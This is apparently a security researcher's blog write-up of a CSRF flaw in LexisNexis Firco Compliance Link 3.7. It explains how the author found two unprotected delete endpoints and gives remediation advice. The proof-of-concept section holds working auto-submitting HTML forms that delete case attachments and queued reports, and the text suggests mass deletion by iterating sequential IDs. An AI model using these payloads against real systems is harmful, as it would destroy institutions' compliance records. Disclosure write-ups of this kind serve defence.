September 22, 2026
How I Deleted Compliance Records From a Financial Screening Tool With One Malicious Linkβ¦
CWE-352 | CVSS 8.8 (High) | Affected: LexisNexis Firco Compliance Link 3.7

By Muhammad Sameer
4 min read
TL;DR
CVE-2022β29557 has been public against this product version for a while, but I couldn't find a single writeup or PoC describing where the vulnerable endpoint actually was or how to trigger it. I spent a good chunk of an authorized assessment stuck on it β every state-changing endpoint I tried was properly validating its token, to the point I nearly wrote it off as already patched. It wasn't. Just working through the app's functionality end to end eventually turned up two endpoints β the ones responsible for deleting case attachments and queued reports β with no synchronizer token, no CSRF token, and no SameSite cookie attribute at all. A single click on a malicious link, sent to any logged-in user, could silently delete compliance evidence: KYC records, transaction evidence, audit trails, regulatory filings. No exploit code, no phishing for credentials β just a link.
Background
Compliance Link is used by financial institutions to screen transactions and manage sanctions/AML case data. It implements CSRF defenses using the synchronizer token pattern β a server-generated token (_synchronizerToken) tied to the session, required on sensitive form submissions.
The catch: that protection wasn't applied consistently across the app.
What CSRF Actually Exploits
CSRF works because browsers attach session cookies to every request automatically, regardless of which site triggered the request. If a server only trusts "this request came with a valid session cookie" and doesn't separately verify "this request was intentionally initiated by the user," an attacker can forge that request from an entirely different website and the victim's browser will happily authenticate it for them.
The standard fix is the synchronizer token pattern: the server issues a random token per session, embeds it in every legitimate form, and rejects any state-changing request that doesn't include the matching value. Compliance Link had this β just not everywhere it needed it.
Discovery
Testing started by fingerprinting the app's CSRF behavior on /ASM/caseSearchResults.accuity. A normal request looked like:
POST /ASM/caseSearchResults.accuity HTTP/1.1
Host: target.example.com:8080
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=...
_synchronizerToken=49257116634534538454&dataSetId=&caseidFrom=&caseidTo=&...POST /ASM/caseSearchResults.accuity HTTP/1.1
Host: target.example.com:8080
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=...
_synchronizerToken=49257116634534538454&dataSetId=&caseidFrom=&caseidTo=&...Stripping _synchronizerToken from this request correctly triggered a rejection β confirming the app does implement token validation, at least here. The response headers also confirmed the mechanism: no Set-Cookie for a CSRF token and no SameSite attribute, meaning the token lives server-side in session state (synchronizer pattern), not in a cookie (double-submit pattern). That distinction mattered later β the missing SameSite attribute isn't itself the bug, because double-submit isn't the pattern in use here.
From there I worked through most of the application's other state-changing functionality β searches, case updates, various form submissions β trying each without its token to see what would happen. Almost everything was properly protected: strip the token and the request got rejected, same as the search endpoint. After enough of these came back validated, I genuinely considered that the known CVE for this version might already be patched in this build.
It wasn't until I kept surfing through less obvious parts of the app β file and report management functionality specifically β that I landed on two endpoints that behaved differently:
/ASM/deleteCaseAttachment/{attachmentId}/@@@/@@@.accuity/ASM/getReportQueue.accuity
Neither had a _synchronizerToken parameter to begin with, neither validated one, and neither set a CSRF cookie with a SameSite attribute. No protection at all β both executed the delete unconditionally.
Proof of Concept
Deleting a case attachment β no token, no auth prompt, just a form that auto-submits on page load:
<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://target.example.com:8080/ASM/deleteCaseAttachment/72000/@@@/@@@.accuity" method="POST">
<input type="hidden" name="confirmed" value="true" />
</form>
</body>
</html><!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://target.example.com:8080/ASM/deleteCaseAttachment/72000/@@@/@@@.accuity" method="POST">
<input type="hidden" name="confirmed" value="true" />
</form>
</body>
</html>Deleting queued reports β same pattern, different endpoint:
<!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://target.example.com:8080/ASM/getReportQueue.accuity" method="POST">
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="reportIds" value="123,456,789" />
</form>
</body>
</html><!DOCTYPE html>
<html>
<body onload="document.forms[0].submit()">
<form action="http://target.example.com:8080/ASM/getReportQueue.accuity" method="POST">
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="reportIds" value="123,456,789" />
</form>
</body>
</html>Either page delivered to a logged-in Compliance Link user via a link, an embedded iframe, or a compromised third-party site would fire the delete the instant it loaded, with the victim's own session doing the work.
Evidence trail (from the assessment): confirmed the target attachment existed β captured the unauthenticated forged request in Burp β triggered it β confirmed the attachment was gone. Same cycle applied to the report queue endpoint.
Why This Was Worse Than a Typical CSRF
Attachment IDs in the application are sequential integers, and they're exposed in ordinary search results. An attacker doesn't need to guess or enumerate anything meaningful β a script iterating a numeric range against deleteCaseAttachment would work through the entire attachment store in minutes. Combined with zero token validation, this turns a single-target CSRF into a mass-deletion primitive, and the deletions leave no audit trail for forensic recovery.
Impact
- Technical: unauthenticated, remote, one-click deletion of any user's attachments or queued reports, with no logging of who did it.
- Business: Compliance Link stores the evidence institutions use to demonstrate AML/KYC compliance to regulators. Losing that evidence isn't just a data-loss incident β it can translate directly into failed audits, regulatory fines, and enforcement action, since the institution can no longer prove the due diligence occurred.
CVSS 3.1: 8.8 (High) β AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. Network-exploitable, low complexity, no privileges required by the attacker, requires the victim to open a link, no scope change, high impact across confidentiality, integrity, and availability.
Remediation
- Enforce
_synchronizerTokenvalidation on every state-changing endpoint, not just search/query actions β deletion and report-queue endpoints included. - Replace sequential numeric attachment IDs with non-guessable identifiers (UUIDs) to kill the enumeration angle even if another control fails.
- Add server-side authorization checks confirming the requesting user actually owns or has rights to the resource being deleted.
- Log all deletion operations with user identity, timestamp, source IP, and affected resource ID.
- Consider
SameSite=Strictcookies as defense-in-depth, even though it wasn't the root cause here.
References
- CWE-352: Cross-Site Request Forgery β https://cwe.mitre.org/data/definitions/352.html
- CVE-2022β29557 β https://nvd.nist.gov/vuln/detail/CVE-2022-29557
- OWASP CSRF Prevention Cheat Sheet β https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html